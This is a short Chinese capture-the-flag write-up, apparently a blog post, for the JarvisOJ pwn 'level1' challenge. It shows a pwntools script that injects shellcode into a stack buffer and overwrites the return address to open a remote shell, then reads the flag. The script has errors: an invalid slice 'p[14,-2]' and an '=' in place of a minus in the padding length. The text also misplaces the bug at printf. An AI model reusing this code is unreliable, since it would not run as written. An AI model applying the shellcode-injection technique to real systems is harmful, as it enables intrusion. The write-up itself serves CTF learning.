jarvisoj pwn level1

https://www.jarvisoj.com/challenges 

拿到程序后先file可知为32位和动态链接

file level1

然后checksec检查保护机制

checksec level1

拖入ida查看,在vulnerable_function()函数的printf()处存在注入点

栈结构:

低地址→高地址

buf→ebp→eip(返回地址)

思路:没有system函数,在buf插入一段shellcode,将返回地址覆盖为shellcode的地址

level1.py如下:

from pwn import *
io=remote('pwn2.jarvisoj.com',9877)
shellcode=asm(shellcraft.sh())
p=io.recvline()
shell_add=int(p[14,-2],16)
payload=shellcode+'a'*(0x88+0x4=len(shellcode))+p32(shell_add)

io.send(payload)
io.interactive()
io.close()

执行level1.py

python level1.py
ls
cat flag

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值